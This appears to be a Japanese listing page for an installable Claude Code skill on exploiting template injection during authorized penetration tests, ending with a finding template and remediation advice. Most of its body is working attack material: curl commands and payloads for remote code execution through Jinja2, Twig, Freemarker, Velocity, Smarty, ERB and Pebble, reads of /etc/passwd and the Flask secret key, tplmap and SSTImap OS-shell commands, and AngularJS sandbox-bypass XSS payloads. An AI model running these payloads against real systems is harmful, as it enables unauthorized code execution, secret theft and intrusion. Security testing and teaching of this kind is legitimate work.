exploiting-template-injection-vulnerabilities について
許可を得たテストでサーバーサイドおよびクライアントサイドのテンプレートインジェクションを調査・評価するスキルです。エンジンの特定、ペイロード検証、SSTI ツールの利用を扱います。
主な機能
- 01テンプレートインジェクション箇所の特定
- 02応答からのテンプレートエンジン識別
- 03サーバーサイド注入ペイロードのテスト
- 04クライアントサイド注入の評価
- 05tplmap と SSTImap の利用
活用シーン
- 01ユーザー編集可能なメールテンプレートのテスト
- 02CMS やレポートのテンプレート入力の評価
- 03リクエストパスを反映するエラーページの SSTI 確認
- 04クライアントサイドテンプレート式の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-template-injection-vulnerabilitiesインストール後、Claude Code で/exploiting-template-injection-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
テンプレートインジェクションの脆弱性を悪用する
使用する状況
- ユーザー入力がサーバーサイドのテンプレートエンジンを通じてレンダリングされる、許可済みのペネトレーションテスト中
- ユーザーが入力したデータを含むエラーページ、メールテンプレート、PDF ジェネレーター、レポート作成ツールをテストする場合
- ユーザーがテンプレートや通知メッセージをカスタマイズできるアプリケーションを評価する場合
- 算術演算の結果を反映するパラメーターで、潜在的な SSTI を特定する場合(例:
{{7*7}}が49を返す) - CMS プラットフォーム、マーケティングツール、またはテンプレート機能を備えたアプリケーションのセキュリティ評価中
前提条件
- 許可:RCE テストを対象範囲に含む、書面によるペネトレーションテスト契約
- Burp Suite Professional:テンプレートパラメーターの傍受と変更に使用
- tplmap:自動 SSTI 悪用ツール(
git clone https://github.com/epinna/tplmap.git) - SSTImap:最新の SSTI スキャナー(
pip install sstimap) - curl:手動での SSTI ペイロードテストに使用
- テンプレートエンジンに関する知識:Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty
ワークフロー
ステップ 1:テンプレートインジェクション箇所を特定する
ユーザー入力がテンプレートエンジンによって処理されるパラメーターを探します。
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
ステップ 2:テンプレートエンジンを特定する
適切な悪用手法を選択するために、使用されているテンプレートエンジンを特定します。
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
ステップ 3:Jinja2(Python/Flask)を悪用する
Jinja2 テンプレートインジェクションを通じてコード実行を達成します。
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"
# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
ステップ 4:Twig(PHP)、Freemarker(Java)、その他のエンジンを悪用する
エンジン固有のペイロードを使用して悪用します。
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
ステップ 5:tplmap と SSTImap で自動化する
包括的なテストと悪用に、自動化ツールを使用します。
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names
ステップ 6:クライアントサイドテンプレートインジェクション(CSTI)をテストする
クライアントサイドテンプレートにおける Angular/Vue/React の式インジェクションを評価します。
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
主な概念
| 概念 | 説明 |
|---|---|
| SSTI | サーバーサイドテンプレートインジェクション。サーバーサイドで実行されるテンプレートディレクティブを注入します |
| CSTI | クライアントサイドテンプレートインジェクション。AngularJS/Vue テンプレートに式を注入します(XSS につながります) |
| テンプレートエンジン | プレースホルダーを含むテンプレートファイルを処理し、データに置き換えるソフトウェア |
| サンドボックスエスケープ | 危険な関数にアクセスするため、テンプレートエンジンのセキュリティ制限を回避すること |
| MRO(メソッド解決順序) | Jinja2 の悪用で使用される Python クラス階層のたどり方 |
| オブジェクトイントロスペクション | __class__、__subclasses__()、__globals__ を使用して Python オブジェクトをたどること |
| ブラインド SSTI | 出力を直接確認できないテンプレートインジェクション。OOB 手法が必要です |
ツールとシステム
| ツール | 用途 |
|---|---|
| tplmap | OS シェル機能を備えた、自動 SSTI 検出および悪用 |
| SSTImap | 複数のテンプレートエンジンに対応した最新の SSTI スキャナー |
| Burp Suite Professional | リクエストの傍受と、ペイロードのファジングに使用する Intruder |
| Hackvertor(Burp 拡張機能) | バイパス手法に使用するペイロードのエンコードと変換 |
| PayloadsAllTheThings | GitHub 上の包括的な SSTI ペイロードリファレンス |
| OWASP ZAP | アクティブスキャンモードでの自動 SSTI 検出 |
よくあるシナリオ
シナリオ 1:Flask メールテンプレートインジェクション
Flask アプリケーションでは、ユーザーがメール通知テンプレートをカスタマイズできます。カスタムテンプレートはサンドボックス化されずに Jinja2 でレンダリングされるため、{{config.items()}} とサブクラスのたどりを通じて RCE が可能になります。
シナリオ 2:Java CMS の Freemarker インジェクション
Java ベースの CMS では、管理者が Freemarker を使用してページテンプレートを編集できます。権限の低い編集者が <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} を注入し、コマンドを実行します。
シナリオ 3:エラーページの SSTI
カスタム 404 エラーページでは、Twig テンプレートを通じて要求された URL パスが反映されます。/{{['id']|filter('system')}} をリクエストすると、サーバーが id コマンドを実行します。
シナリオ 4:AngularJS のクライアントサイドインジェクション
検索ページでは、ng-bind-html を使用して AngularJS で結果をレンダリングします。{{constructor.constructor('alert(document.cookie)')()}} を検索すると、AngularJS の式評価を通じて XSS が発生します。
出力形式
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user